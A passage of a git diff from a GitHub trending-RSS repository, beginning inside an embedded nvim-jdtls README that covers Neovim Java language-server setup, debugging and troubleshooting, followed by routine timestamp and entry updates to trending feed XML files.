or subjects via <code>require("jdtls.tests").goto_subjects()</code></li> </ul> </li> </ul> <p>Take a look at <a href="https://github.com/mfussenegger/nvim-jdtls/issues/3">a demo</a> to see some of the functionality in action.</p> <h2>Plugin Installation</h2> <ul> <li>Requires Neovim (Latest stable (recommended) or nightly)</li> <li>nvim-jdtls is a plugin. Install it like any other Vim plugin: <ul> <li><code>git clone https://github.com/mfussenegger/nvim-jdtls.git ~/.config/nvim/pack/plugins/start/nvim-jdtls</code></li> <li>Or with <a href="https://github.com/junegunn/vim-plug">vim-plug</a>: <code>Plug 'mfussenegger/nvim-jdtls'</code></li> <li>Or with <a href="https://github.com/wbthomason/packer.nvim">packer.nvim</a>: <code>use 'mfussenegger/nvim-jdtls'</code></li> </ul> </li> </ul> <h2>Language Server Installation</h2> <p>Install <a href="https://github.com/eclipse/eclipse.jdt.ls">eclipse.jdt.ls</a> by following their <a href="https://github.com/eclipse/eclipse.jdt.ls#installation">Installation instructions</a>.</p> <h2>Configuration (quickstart)</h2> <p>Add the following to <code>~/.config/nvim/ftplugin/java.lua</code> (See <code>:help base-directory</code>):</p> <pre><code class="language-lua">local config = { cmd = {'/path/to/jdt-language-server/bin/jdtls'}, root_dir = vim.fs.dirname(vim.fs.find({'gradlew', '.git', 'mvnw'}, { upward = true })[1]), } require('jdtls').start_or_attach(config) </code></pre> <p><strong>Important</strong>:</p> <ul> <li>eclipse.jdt.ls requires Java 17</li> <li>The <code>jdtls</code> script requires Python 3.9</li> <li>You'll have to teach eclipse.jdt.ls about your JDK installations by setting up <code>runtimes</code> if your projects use a different Java version than the one you're using for eclipse.jdt.ls itself. See <code>Java XY language features are not available</code> in the troubleshooting section further below to learn how to do that.</li> </ul> <p>This should get you started, but will create temporary eclipse data folders when you open a project. Please read the <code>Configuration (verbose)</code> section if you want more control over the configuration or want to understand how things work.</p> <h2>Configuration (verbose)</h2> <p>To configure <code>nvim-jdtls</code>, add the following in <code>ftplugin/java.lua</code> within the Neovim configuration base directory (e.g. <code>~/.config/nvim/ftplugin/java.lua</code>, see <code>:help base-directory</code>).</p> <p>Watch out for the 💀, it indicates that you must adjust something.</p> <pre><code class="language-lua">-- See `:help vim.lsp.start_client` for an overview of the supported `config` options. local config = { -- The command that starts the language server -- See: https://github.com/eclipse/eclipse.jdt.ls#running-from-the-command-line cmd = { -- 💀 'java', -- or '/path/to/java17_or_newer/bin/java' -- depends on if `java` is in your $PATH env variable and if it points to the right version. '-Declipse.application=org.eclipse.jdt.ls.core.id1', '-Dosgi.bundles.defaultStartLevel=4', '-Declipse.product=org.eclipse.jdt.ls.core.product', '-Dlog.protocol=true', '-Dlog.level=ALL', '-Xmx1g', '--add-modules=ALL-SYSTEM', '--add-opens', 'java.base/java.util=ALL-UNNAMED', '--add-opens', 'java.base/java.lang=ALL-UNNAMED', -- 💀 '-jar', '/path/to/jdtls_install_location/plugins/org.eclipse.equinox.launcher_VERSION_NUMBER.jar', -- ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^ -- Must point to the Change this to -- eclipse.jdt.ls installation the actual version -- 💀 '-configuration', '/path/to/jdtls_install_location/config_SYSTEM', -- ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^ -- Must point to the Change to one of `linux`, `win` or `mac` -- eclipse.jdt.ls installation Depending on your system. -- 💀 -- See `data directory configuration` section in the README '-data', '/path/to/unique/per/project/workspace/folder' }, -- 💀 -- This is the default if not provided, you can remove it. Or adjust as needed. -- One dedicated LSP server &amp; client will be started per unique root_dir root_dir = require('jdtls.setup').find_root({'.git', 'mvnw', 'gradlew'}), -- Here you can configure eclipse.jdt.ls specific settings -- See https://github.com/eclipse/eclipse.jdt.ls/wiki/Running-the-JAVA-LS-server-from-the-command-line#initialize-request -- for a list of options settings = { java = { } }, -- Language server `initializationOptions` -- You need to extend the `bundles` with paths to jar files -- if you want to use additional eclipse.jdt.ls plugins. -- -- See https://github.com/mfussenegger/nvim-jdtls#java-debug-installation -- -- If you don't plan on using the debugger or other eclipse.jdt.ls plugins you can remove this init_options = { bundles = {} }, } -- This starts a new client &amp; server, -- or attaches to an existing client &amp; server depending on the `root_dir`. require('jdtls').start_or_attach(config) </code></pre> <p>The <code>ftplugin/java.lua</code> logic is executed each time a <code>FileType</code> event triggers. This happens every time you open a <code>.java</code> file or when you invoke <code>:set ft=java</code>:</p> <p>You can also find more <a href="https://github.com/mfussenegger/nvim-jdtls/wiki/Sample-Configurations">complete configuration examples in the Wiki</a>.</p> <p>If you have trouble getting jdtls to work, please read the <a href="https://raw.githubusercontent.com/mfussenegger/nvim-jdtls/master/#troubleshooting">Troubleshooting</a> section.</p> <h3>data directory configuration</h3> <p><code>eclipse.jdt.ls</code> stores project specific data within the folder set via the <code>-data</code> flag. If you're using <code>eclipse.jdt.ls</code> with multiple different projects you must use a dedicated data directory per project.</p> <p>An example how you could accomplish that is to infer the workspace directory name from the current working directory:</p> <pre><code class="language-lua">-- If you started neovim within `~/dev/xy/project-1` this would resolve to `project-1` local project_name = vim.fn.fnamemodify(vim.fn.getcwd(), ':p:h:t') local workspace_dir = '/path/to/workspace-root/' .. project_name -- ^^ -- string concattenation in Lua local config = { cmd = { ..., '-data', workspace_dir, ..., } } </code></pre> <p><code>...</code> is not valid Lua in this context. It is meant as placeholder for the other options from the <a href="https://raw.githubusercontent.com/mfussenegger/nvim-jdtls/master/#configuration">Configuration</a> section above.)</p> <h3>nvim-lspconfig and nvim-jdtls differences</h3> <p>Both <a href="https://github.com/neovim/nvim-lspconfig">nvim-lspconfig</a> and nvim-jdtls use the client built into neovim:</p> <pre><code class="language-txt"> ┌────────────┐ ┌────────────────┐ │ nvim-jdtls │ │ nvim-lspconfig │ └────────────┘ └────────────────┘ | | start_or_attach nvim_lsp.jdtls.setup │ | │ setup java filetype hook │ ┌─────────┐ │ └───►│ vim.lsp │◄─────────────────┘ └─────────┘ .start_client .buf_attach_client </code></pre> <p>Some differences between the two:</p> <ul> <li>The <code>setup</code> of lspconfig creates a <code>java</code> <code>filetype</code> hook itself and provides some defaults for the <code>cmd</code> of the <code>config</code>.</li> <li><code>nvim-jdtls</code> delegates the choice when to call <code>start_or_attach</code> to the user.</li> <li><code>nvim-jdtls</code> adds some logic to handle <code>jdt://</code> URIs. These are necessary to load source code from third party libraries or the JDK.</li> <li><code>nvim-jdtls</code> adds some additional handlers and sets same extra capabilities to enable all the extensions.</li> </ul> <p>You could use either to start the <code>eclipse.jdt.ls</code> client, but it is recommended to use the <code>start_or_attach</code> method from <code>nvim-jdtls</code> because of the additional capabilities it configures and because of the <code>jdt://</code> URI handling.</p> <p>You <strong>must not</strong> use both at the same time for java. You'd end up with two clients and two language server instances.</p> <h3>UI picker customization</h3> <p><strong>Tip</strong>: You can get a better UI for code-actions and other functions by overriding the <code>jdtls.ui</code> picker. See <a href="https://github.com/mfussenegger/nvim-jdtls/wiki/UI-Extensions">UI Extensions</a>.</p> <h2>Usage</h2> <p><code>nvim-jdtls</code> extends the capabilities of the built-in LSP support in Neovim, so all the functions mentioned in <code>:help lsp</code> will work.</p> <p><code>nvim-jdtls</code> provides some extras, for those you'll want to create additional mappings:</p> <pre><code class="language-vimL">nnoremap &lt;A-o&gt; &lt;Cmd&gt;lua require'jdtls'.organize_imports()&lt;CR&gt; nnoremap crv &lt;Cmd&gt;lua require('jdtls').extract_variable()&lt;CR&gt; vnoremap crv &lt;Esc&gt;&lt;Cmd&gt;lua require('jdtls').extract_variable(true)&lt;CR&gt; nnoremap crc &lt;Cmd&gt;lua require('jdtls').extract_constant()&lt;CR&gt; vnoremap crc &lt;Esc&gt;&lt;Cmd&gt;lua require('jdtls').extract_constant(true)&lt;CR&gt; vnoremap crm &lt;Esc&gt;&lt;Cmd&gt;lua require('jdtls').extract_method(true)&lt;CR&gt; " If using nvim-dap " This requires java-debug and vscode-java-test bundles, see install steps in this README further below. nnoremap &lt;leader&gt;df &lt;Cmd&gt;lua require'jdtls'.test_class()&lt;CR&gt; nnoremap &lt;leader&gt;dn &lt;Cmd&gt;lua require'jdtls'.test_nearest_method()&lt;CR&gt; </code></pre> <p><code>nvim-jdtls</code> also adds several commands if the server starts up correctly:</p> <ul> <li><code>JdtCompile</code></li> <li><code>JdtSetRuntime</code></li> <li><code>JdtUpdateConfig</code></li> <li><code>JdtUpdateDebugConfig</code> (if <code>dap</code> and java-debug bundles are available)</li> <li><code>JdtUpdateHotcode</code> (if <code>dap</code> and java-debug bundles are available)</li> <li><code>JdtBytecode</code></li> <li><code>JdtJol</code></li> <li><code>JdtJshell</code></li> <li><code>JdtRestart</code></li> </ul> <h2>API Reference</h2> <p>See <code>:help jdtls</code></p> <h2>Debugger (via nvim-dap)</h2> <p><code>nvim-jdtls</code> provides integration with <a href="https://github.com/mfussenegger/nvim-dap">nvim-dap</a>.</p> <p>Once setup correctly, it enables the following additional functionality:</p> <ol> <li>Debug applications via explicit configurations</li> <li>Debug automatically discovered main classes</li> <li>Debug junit tests. Either whole classes or individual test methods</li> </ol> <p>For 1 &amp; 2 to work, <a href="https://github.com/eclipse/eclipse.jdt.ls">eclipse.jdt.ls</a> needs to load the <a href="https://github.com/microsoft/java-debug">java-debug</a> extension. For 3 to work, it also needs to load the <a href="https://github.com/microsoft/vscode-java-test">vscode-java-test</a> extension.</p> <p>For usage instructions once installed, read the <a href="https://github.com/mfussenegger/nvim-dap">nvim-dap</a> help. Debugging junit test classes or methods will be possible via these two functions:</p> <pre><code class="language-lua">require'jdtls'.test_class() require'jdtls'.test_nearest_method() </code></pre> <h3>java-debug installation</h3> <ul> <li>Clone <a href="https://github.com/microsoft/java-debug">java-debug</a></li> <li>Navigate into the cloned repository (<code>cd java-debug</code>)</li> <li>Run <code>./mvnw clean install</code></li> <li>Set or extend the <code>initializationOptions</code> (= <code>init_options</code> of the <code>config</code> from <a href="https://raw.githubusercontent.com/mfussenegger/nvim-jdtls/master/#Configuration-verbose">configuration</a>) as follows:</li> </ul> <pre><code class="language-lua">config['init_options'] = { bundles = { vim.fn.glob("path/to/java-debug/com.microsoft.java.debug.plugin/target/com.microsoft.java.debug.plugin-*.jar", 1) }; } </code></pre> <h3>nvim-dap setup</h3> <p><code>nvim-jdtls</code> will automatically register a <code>java</code> debug adapter with nvim-dap, if nvim-dap is available.</p> <h3>nvim-dap configuration</h3> <p><code>nvim-jdtls</code> includes functionality to discover main classes and create <code>nvim-dap</code> configuration entries for them.</p> <p>To discover the main classes you have to call <code>require('jdtls.dap').setup_dap_main_class_configs()</code> or use the <code>JdtUpdateDebugConfigs</code> command. It will only discover classes once eclipse.jdt.ls fully loaded the project. Depending on the project that may take a while. Because of that, calling <code>require('jdtls.dap').setup_dap_main_class_configs()</code> as part of an <code>on_attach</code> handler may not work well.</p> <p>For manual configuration see <a href="https://github.com/mfussenegger/nvim-dap/wiki/Java">nvim-dap Adapter Installation Wiki</a>.</p> <p>To get an overview of all available <code>attach</code> and <code>launch</code> options, take a look at <a href="https://github.com/microsoft/vscode-java-debug#options">java-debug options</a>. Keep in mind that any <code>java.debug</code> options are settings of the vscode-java client extension and not understood by the debug-adapter itself.</p> <h3>vscode-java-test installation</h3> <p>To be able to debug junit tests, it is necessary to install the bundles from <a href="https://github.com/microsoft/vscode-java-test">vscode-java-test</a>:</p> <ul> <li>Clone the repository</li> <li>Navigate into the folder (<code>cd vscode-java-test</code>)</li> <li>Run <code>npm install</code></li> <li>Run <code>npm run build-plugin</code></li> <li>Extend the bundles in the nvim-jdtls config:</li> </ul> <pre><code class="language-lua"> -- This bundles definition is the same as in the previous section (java-debug installation) local bundles = { vim.fn.glob("path/to/java-debug/com.microsoft.java.debug.plugin/target/com.microsoft.java.debug.plugin-*.jar", 1), }; -- This is the new part vim.list_extend(bundles, vim.split(vim.fn.glob("/path/to/microsoft/vscode-java-test/server/*.jar", 1), "\n")) config['init_options'] = { bundles = bundles; } </code></pre> <h2>Troubleshooting</h2> <h3>The client exits with an error / eclipse.jdt.ls stopped working</h3> <p>This can have two reasons:</p> <ol> <li>Your <code>cmd</code> definition in the <a href="https://raw.githubusercontent.com/mfussenegger/nvim-jdtls/master/#configuration">Configuration</a> is wrong.</li> </ol> <ul> <li> <p>Check the log files. Use <code>:JdtShowLogs</code> or open the log file manually. <code>:lua print(vim.fn.stdpath('cache'))</code> lists the path, there should be a <code>lsp.log</code>. You may have to increase the log level. See <code>:help vim.lsp.set_log_level()</code>.</p> </li> <li> <p>Ensure you can start the language server standalone by invoking the <code>cmd</code> defined in the configuration manually within a terminal.</p> </li> </ul> <ol start="2"> <li>The data folder got corrupted.</li> </ol> <p>Wipe the folder and ensure that it is in a dedicated directory and not within your project repository. See <a href="https://raw.githubusercontent.com/mfussenegger/nvim-jdtls/master/#data-directory-configuration">data directory configuration</a>. You can use <code>:JdtWipeDataAndRestart</code> to do this.</p> <h3>Nothing happens when opening a Java file and I can't use any <code>vim.lsp.buf</code> functions</h3> <p>This can have several reasons:</p> <ol> <li> <p>You didn't follow <a href="https://raw.githubusercontent.com/mfussenegger/nvim-jdtls/master/#configuration">Configuration</a> closely and aren't invoking <code>require('jdtls').start_or_attach(config)</code> as part of a <code>java</code> <code>filetype</code> event. Go back to the configuration section and follow it closely.</p> </li> <li> <p>You made a mistake in your configuration and there is a failure happening when you open the file. Try <code>:set ft=java</code> and look at the <code>:messages</code> output.</p> </li> <li> <p>eclipse.jdt.ls is starting but it cannot recognize your project, or it cannot import it properly. Try running <code>:JdtCompile full</code> or <code>:lua require('jdtls').compile('full')</code>. It should open the <code>quickfix</code> list with errors if eclipse.jdt.ls started but cannot handle your project.</p> </li> </ol> <p>Check the log files. Use <code>:JdtShowLogs</code> or open the log file manually. <code>:lua print(vim.fn.stdpath('cache'))</code> lists the path, there should be a <code>lsp.log</code>. You may have to increase the log level. See <code>:help vim.lsp.set_log_level()</code>.</p> <h3>Error: Unable to access jarfile</h3> <p>Either the file doesn't exist or you're using <code>~</code> characters in your path. Neovim doesn't automatically expand <code>~</code> characters in the <code>cmd</code> definition. You either need to write them out or wrap the fragments in <code>vim.fn.expand</code> calls.</p> <h3>Unrecognized option: --add-modules=ALL-SYSTEM</h3> <p>Eclipse.jdt.ls requires at least Java 17. You're using a lower version.</p> <h3>is a non-project file, only syntax errors are reported</h3> <p>You're opening a single file without having a Gradle or Maven project. You need to use Gradle or Maven for the full functionality.</p> <h3>Java XY language features are not available</h3> <p>You need to set the language level via the Gradle or Maven configuration.</p> <p>If you're starting eclipse.jdt.ls with a Java version that's different from the one the project uses, you need to configure the available Java runtimes. Add them to the <code>config</code> from the <a href="https://raw.githubusercontent.com/mfussenegger/nvim-jdtls/master/#configuration">configuration section</a>:</p> <pre><code class="language-lua">local config = { ..., -- not valid Lua, this is a placeholder for your other properties. settings = { java = { configuration = { -- See https://github.com/eclipse/eclipse.jdt.ls/wiki/Running-the-JAVA-LS-server-from-the-command-line#initialize-request -- And search for `interface RuntimeOption` -- The `name` is NOT arbitrary, but must match one of the elements from `enum ExecutionEnvironment` in the link above runtimes = { { name = "JavaSE-11", path = "/usr/lib/jvm/java-11-openjdk/", }, { name = "JavaSE-17", path = "/usr/lib/jvm/java-17-openjdk/", }, } } } } } </code></pre> <p>You can also change the language level at runtime using the <code>:JdtSetRuntime</code> command.</p> <h3>Diagnostics and completion suggestions are slow</h3> <p>Completion requests can be quite expensive on big projects. If you're using some kind of auto-completion plugin that triggers completion requests automatically, consider deactivating it or tuning it so it is less aggressive. Triggering a completion request on each typed character is likely overloading <a href="https://github.com/eclipse/eclipse.jdt.ls">eclipse.jdt.ls</a>.</p> <h3>Newly added dependencies are not found</h3> <p>You can try running <code>:JdtUpdateConfig</code> to refresh the configuration. If that doesn't work you'll need to restart the language server.</p> <h3>Language server doesn't find classes that should be there</h3> <p>The language server supports <a href="https://gradle.org/">gradle</a> and <a href="https://maven.apache.org/ref/3.8.4/">maven</a> as build tools. Your project should either have a <code>pom.xml</code> or <code>settings.gradle</code> and <code>build.gradle</code> file to declare the dependencies.</p> <p>As an alternative you could manually specify the dependencies within your nvim-jdtls configuration like the following, but this is not recommended.</p> <pre><code class="language-lua">config.settings = { java = { project = { referencedLibraries = { '/path/to/dependencyA.jar', '/path/to/dependencyB.jar', }, } } } </code></pre> <p>If you modify files outside of Neovim (for example with a git checkout), the language client and language server may not detect these changes and the state of the file on disk diverges with the mental model of the language server. If that happens, you need to open all changed files within Neovim and reload them with <code>:e!</code> to synchronize the state.</p> <h3>Indentation settings from eclipse formatting configuration are not recognized</h3> <p>This is expected. The Neovim <code>shiftwidth</code> and <code>tabstop</code> settings have a higher priority.</p> - - \ No newline at end of file diff --git a/m/daily/index.xml b/m/daily/index.xml index b91bdcae83a..2b3349337b4 100644 --- a/m/daily/index.xml +++ b/m/daily/index.xml @@ -1,7 +1,7 @@ GitHub M Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:32Z + 2023-09-25T01:34:48Z Daily Trending of M in GitHub \ No newline at end of file diff --git a/m/weekly/index.xml b/m/weekly/index.xml deleted file mode 100644 index f09e078238f..00000000000 --- a/m/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub M Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:34Z - Weekly Trending of M in GitHub - - \ No newline at end of file diff --git a/m4/daily/index.xml b/m4/daily/index.xml index 044f94fb73c..7cc2e551088 100644 --- a/m4/daily/index.xml +++ b/m4/daily/index.xml @@ -1,7 +1,7 @@ GitHub M4 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:33Z + 2023-09-25T01:34:47Z Daily Trending of M4 in GitHub \ No newline at end of file diff --git a/m4/weekly/index.xml b/m4/weekly/index.xml deleted file mode 100644 index a9d39b651cd..00000000000 --- a/m4/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub M4 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:32Z - Weekly Trending of M4 in GitHub - - \ No newline at end of file diff --git a/m4sugar/daily/index.xml b/m4sugar/daily/index.xml index c06a5ee5aa5..8d9420e168d 100644 --- a/m4sugar/daily/index.xml +++ b/m4sugar/daily/index.xml @@ -1,7 +1,7 @@ GitHub M4Sugar Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:32Z + 2023-09-25T01:34:45Z Daily Trending of M4Sugar in GitHub \ No newline at end of file diff --git a/m4sugar/weekly/index.xml b/m4sugar/weekly/index.xml deleted file mode 100644 index 140ab4dea42..00000000000 --- a/m4sugar/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub M4Sugar Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:33Z - Weekly Trending of M4Sugar in GitHub - - \ No newline at end of file diff --git a/macaulay2/daily/index.xml b/macaulay2/daily/index.xml index ae2616f5526..78c20c79a77 100644 --- a/macaulay2/daily/index.xml +++ b/macaulay2/daily/index.xml @@ -1,7 +1,7 @@ GitHub Macaulay2 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:31Z + 2023-09-25T01:34:46Z Daily Trending of Macaulay2 in GitHub \ No newline at end of file diff --git a/macaulay2/weekly/index.xml b/macaulay2/weekly/index.xml deleted file mode 100644 index 3c4302b70f1..00000000000 --- a/macaulay2/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Macaulay2 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:34Z - Weekly Trending of Macaulay2 in GitHub - - \ No newline at end of file diff --git a/makefile/daily/index.xml b/makefile/daily/index.xml index 1f554130c77..2b4aab84155 100644 --- a/makefile/daily/index.xml +++ b/makefile/daily/index.xml @@ -1,21 +1,14 @@ GitHub Makefile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:38Z + 2023-09-25T01:34:56Z Daily Trending of Makefile in GitHub - eecs281staff/Makefile - 2023-09-24T01:35:38Z - tag:github.com,2023-09-24:/eecs281staff/Makefile - - <p></p><hr> - - - 92bondstreet/javascript-empire - 2023-09-24T01:35:38Z - tag:github.com,2023-09-24:/92bondstreet/javascript-empire - - <p>🛣️ 2023 ESILV courses on Web Application Architecture(s)</p><hr> + pcafrica/advanced_programming_2023-2024 + 2023-09-25T01:34:56Z + tag:github.com,2023-09-25:/pcafrica/advanced_programming_2023-2024 + + <p>Material for the "Advanced Programming" course, Academic Year 2023-2024. Joint course offered by SISSA and UniTS.</p><hr> \ No newline at end of file diff --git a/makefile/weekly/index.xml b/makefile/weekly/index.xml deleted file mode 100644 index 24978f2e777..00000000000 --- a/makefile/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Makefile Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:42Z - Weekly Trending of Makefile in GitHub - - - tim-rose/abckit - 2023-09-24T01:55:42Z - tag:github.com,2023-09-24:/tim-rose/abckit - - <p>Tools for manipulating "abc" format music files</p><hr> - - - 0xType/0xProto - 2023-09-24T01:55:42Z - tag:github.com,2023-09-24:/0xType/0xProto - - <p>Free and Open-source font for programming.</p><hr> - - - aquasecurity/trivy-plugin-aqua - 2023-09-24T01:55:42Z - tag:github.com,2023-09-24:/aquasecurity/trivy-plugin-aqua - - <p></p><hr> - - \ No newline at end of file diff --git a/mako/daily/index.xml b/mako/daily/index.xml index 3f72c7021bc..f99d8530a47 100644 --- a/mako/daily/index.xml +++ b/mako/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mako Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:35Z + 2023-09-25T01:34:49Z Daily Trending of Mako in GitHub \ No newline at end of file diff --git a/mako/weekly/index.xml b/mako/weekly/index.xml deleted file mode 100644 index 070835e96da..00000000000 --- a/mako/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Mako Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:36Z - Weekly Trending of Mako in GitHub - - \ No newline at end of file diff --git a/markdown/daily/index.xml b/markdown/daily/index.xml index 2bf94209313..b6ca1cff4c2 100644 --- a/markdown/daily/index.xml +++ b/markdown/daily/index.xml @@ -1,7 +1,14 @@ GitHub Markdown Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:40Z + 2023-09-25T01:34:53Z Daily Trending of Markdown in GitHub + + revinet-status/k-fediverse-status + 2023-09-25T01:34:53Z + tag:github.com,2023-09-25:/revinet-status/k-fediverse-status + + <p></p><hr> + \ No newline at end of file diff --git a/markdown/weekly/index.xml b/markdown/weekly/index.xml deleted file mode 100644 index 8167fa2a688..00000000000 --- a/markdown/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Markdown Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:39Z - Weekly Trending of Markdown in GitHub - - - DELWP-DTV/santa - 2023-09-24T01:55:39Z - tag:github.com,2023-09-24:/DELWP-DTV/santa - - <p>📈 Uptime monitor and status page for alex-vic-geo, powered by @upptime</p><hr> - - \ No newline at end of file diff --git a/marko/daily/index.xml b/marko/daily/index.xml index dfde45cd508..d47b14dc1d8 100644 --- a/marko/daily/index.xml +++ b/marko/daily/index.xml @@ -1,7 +1,7 @@ GitHub Marko Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:34Z + 2023-09-25T01:34:50Z Daily Trending of Marko in GitHub \ No newline at end of file diff --git a/marko/weekly/index.xml b/marko/weekly/index.xml deleted file mode 100644 index 20d054156a6..00000000000 --- a/marko/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Marko Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:36Z - Weekly Trending of Marko in GitHub - - \ No newline at end of file diff --git a/mask/daily/index.xml b/mask/daily/index.xml index da3d2ff67b5..60fa0565b78 100644 --- a/mask/daily/index.xml +++ b/mask/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mask Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:43Z + 2023-09-25T01:34:57Z Daily Trending of Mask in GitHub \ No newline at end of file diff --git a/mask/weekly/index.xml b/mask/weekly/index.xml deleted file mode 100644 index 421da47b1f2..00000000000 --- a/mask/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Mask Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:44Z - Weekly Trending of Mask in GitHub - - \ No newline at end of file diff --git a/mathematica/daily/index.xml b/mathematica/daily/index.xml index 9689ce2521b..c7cc1a18792 100644 --- a/mathematica/daily/index.xml +++ b/mathematica/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mathematica Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:42Z + 2023-09-25T01:34:58Z Daily Trending of Mathematica in GitHub \ No newline at end of file diff --git a/mathematica/weekly/index.xml b/mathematica/weekly/index.xml deleted file mode 100644 index 4fde2a287be..00000000000 --- a/mathematica/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Mathematica Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:45Z - Weekly Trending of Mathematica in GitHub - - \ No newline at end of file diff --git a/matlab/daily/index.xml b/matlab/daily/index.xml index ca68f533f22..28e3587490d 100644 --- a/matlab/daily/index.xml +++ b/matlab/daily/index.xml @@ -1,14 +1,7 @@ GitHub MATLAB Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:46Z + 2023-09-25T01:35:00Z Daily Trending of MATLAB in GitHub - - Patrick9313/Sudoku - 2023-09-24T01:35:46Z - tag:github.com,2023-09-24:/Patrick9313/Sudoku - - <p>一个基于启发式搜索解决具体数独问题的MATLAB程序</p><hr> - \ No newline at end of file diff --git a/matlab/weekly/index.xml b/matlab/weekly/index.xml deleted file mode 100644 index 5df3da06f2e..00000000000 --- a/matlab/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub MATLAB Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:47Z - Weekly Trending of MATLAB in GitHub - - - Patrick9313/Digital-Image-Processing - 2023-09-24T01:55:47Z - tag:github.com,2023-09-24:/Patrick9313/Digital-Image-Processing - - <p>基于MATLAB的图像加解密及传输仿真</p><hr> - - - ME435/MATLAB-Robot-Arm-GUI-Start - 2023-09-24T01:55:47Z - tag:github.com,2023-09-24:/ME435/MATLAB-Robot-Arm-GUI-Start - - <p>Starting code for the MATLAB Robot Arm GUI</p><hr> - - - Hannah-Zhou/Optimization_Algorithm - 2023-09-24T01:55:47Z - tag:github.com,2023-09-24:/Hannah-Zhou/Optimization_Algorithm - - <p>非线性优化主要算法的Matlab程序,有精确线搜索的0.618法和抛物线法, 非精确线搜索的Armijo准则, 最速下降法, 牛顿法, 共轭梯度法, BFGS 算法, DFP 算法, Broyden 族方法, 信赖域方法, 求解非线性最小二乘问题的L-M算法, 解约束优化问题的乘子法, 求解二次规划的有效集法, SQP 子问题的光滑牛顿法以及求解约束优化问题的SQP方法等. 程序基本通用.</p><hr> - - \ No newline at end of file diff --git a/maven-pom/daily/index.xml b/maven-pom/daily/index.xml index e29e97ab17f..dc7a3964943 100644 --- a/maven-pom/daily/index.xml +++ b/maven-pom/daily/index.xml @@ -1,7 +1,7 @@ GitHub Maven POM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:44Z + 2023-09-25T01:35:01Z Daily Trending of Maven POM in GitHub \ No newline at end of file diff --git a/maven-pom/weekly/index.xml b/maven-pom/weekly/index.xml deleted file mode 100644 index 7eb09deb067..00000000000 --- a/maven-pom/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Maven POM Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:43Z - Weekly Trending of Maven POM in GitHub - - \ No newline at end of file diff --git a/max/daily/index.xml b/max/daily/index.xml index 1d35bbcf94d..32058c0b06f 100644 --- a/max/daily/index.xml +++ b/max/daily/index.xml @@ -1,7 +1,7 @@ GitHub Max Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:48Z + 2023-09-25T01:35:02Z Daily Trending of Max in GitHub \ No newline at end of file diff --git a/max/weekly/index.xml b/max/weekly/index.xml deleted file mode 100644 index 45712213e72..00000000000 --- a/max/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Max Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:49Z - Weekly Trending of Max in GitHub - - \ No newline at end of file diff --git a/maxscript/daily/index.xml b/maxscript/daily/index.xml index 582d6161146..c217ce92fab 100644 --- a/maxscript/daily/index.xml +++ b/maxscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub MAXScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:35:48Z + 2023-09-25T01:35:03Z Daily Trending of MAXScript in GitHub \ No newline at end of file diff --git a/maxscript/weekly/index.xml b/maxscript/weekly/index.xml deleted file mode 100644 index c221085da49..00000000000 --- a/maxscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub MAXScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:55:50Z - Weekly Trending of MAXScript in GitHub - - \ No newline at end of file diff --git a/mcfunction/daily/index.xml b/mcfunction/daily/index.xml index 4e5bb42acd7..88d5ad2890b 100644 --- 